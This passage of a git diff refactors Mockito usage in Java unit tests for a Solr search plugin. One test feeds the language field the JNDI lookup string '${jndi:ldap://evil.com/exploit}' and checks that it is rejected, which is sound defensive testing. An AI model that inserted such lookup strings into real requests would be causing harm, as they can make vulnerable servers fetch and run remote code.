com.agiletec.aps.system.services.category.Category; @@ -29,7 +33,6 @@ import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; @ExtendWith(MockitoExtension.class) @@ -52,9 +55,9 @@ class AdvContentFacetManagerTest { @Test void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { - UserFilterOptionBean filterOptionBean = Mockito.mock(UserFilterOptionBean.class); - Mockito.when(filterOptionBean.extractFilter()).thenReturn(Mockito.mock(SearchEngineFilter.class)); - Mockito.when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); + UserFilterOptionBean filterOptionBean = mock(UserFilterOptionBean.class); + when(filterOptionBean.extractFilter()).thenReturn(mock(SearchEngineFilter.class)); + when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); SearchEngineFilter[] baseFilters = new SearchEngineFilter[]{}; List facetNodeCodes = List.of(CATEGORY_1, CATEGORY_2); @@ -66,7 +69,7 @@ void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { ArgumentCaptor categoryFiltersCaptor = ArgumentCaptor.forClass( SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), categoryFiltersCaptor.capture(), eq(groups)); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -83,7 +86,7 @@ void shouldGetFacetResultWithNullFilters() throws Exception { ArgumentCaptor filtersCaptor = ArgumentCaptor.forClass(SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), (SearchEngineFilter[]) isNull(), isNull()); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -94,7 +97,7 @@ void shouldGetFacetResultWithNullFilters() throws Exception { void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { SearchEngineFilter[] nodeCodesFilter = new SearchEngineFilter[]{}; facetManager.getFacetResult(null, nodeCodesFilter, null, null); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( any(SearchEngineFilter[].class), eq(nodeCodesFilter), isNull()); } @@ -102,7 +105,7 @@ void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { void shouldRejectJndiInjectionInLang() { AdvRestContentListRequest request = new AdvRestContentListRequest(); request.setLang("${jndi:ldap://evil.com/exploit}"); - Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); Assertions.assertThrows(ValidationConflictException.class, () -> facetManager.getFacetedContents(request, null)); } @@ -111,7 +114,7 @@ void shouldRejectJndiInjectionInLang() { void shouldRejectNonExistentLangCode() { AdvRestContentListRequest request = new AdvRestContentListRequest(); request.setLang("zzz"); - Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); Assertions.assertThrows(ValidationConflictException.class, () -> facetManager.getFacetedContents(request, null)); } @@ -119,15 +122,15 @@ void shouldRejectNonExistentLangCode() { @Test void shouldAcceptBlankLangCodeAndUseDefault() throws Exception { AdvRestContentListRequest request = new AdvRestContentListRequest(); - Mockito.when(langManager.getDefaultLang()).thenReturn(createLang("en")); - Mockito.when(((ISolrSearchEngineManager) searchEngineManager) + when(langManager.getDefaultLang()).thenReturn(createLang("en")); + when(((ISolrSearchEngineManager) searchEngineManager) .searchFacetedEntities( any(SolrSearchEngineFilter[][].class), any(SolrSearchEngineFilter[].class), any(List.class))) .thenReturn(new SolrFacetedContentsResult()); facetManager.getFacetedContents(request, null); - Mockito.verify(langManager, Mockito.never()).getLangs(); + verify(langManager, never()).getLangs(); } @ParameterizedTest diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index 1d66fe078..cbccb3b06 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -1,5 +1,9 @@ package org.entando.entando.plugins.jpsolr.aps.system.solr; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + import com.agiletec.aps.system.common.tree.ITreeNodeManager; import com.agiletec.aps.system.services.lang.ILangManager; import com.agiletec.aps.system.services.lang.Lang; @@ -19,7 +23,6 @@ import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; /** @@ -118,7 +121,7 @@ void shouldNotThrowOnSingleAsteriskValue() throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -323,7 +326,7 @@ void shouldDropFieldNameInDoubleFilterArray() throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(doubleFilters, @@ -339,7 +342,7 @@ void shouldDropFieldNameInDoubleFilterArray() throws Exception { private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -351,13 +354,13 @@ private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throw private void mockDefaultLang() { Lang lang = new Lang(); lang.setCode("en"); - Mockito.when(langManager.getDefaultLang()).thenReturn(lang); + when(langManager.getDefaultLang()).thenReturn(lang); } private QueryResponse mockQueryResponse() { - QueryResponse queryResponse = Mockito.mock(QueryResponse.class); + QueryResponse queryResponse = mock(QueryResponse.class); SolrDocumentList documents = new SolrDocumentList(); - Mockito.when(queryResponse.getResults()).thenReturn(documents); + when(queryResponse.getResults()).thenReturn(documents); return queryResponse; } } \ No newline at end of file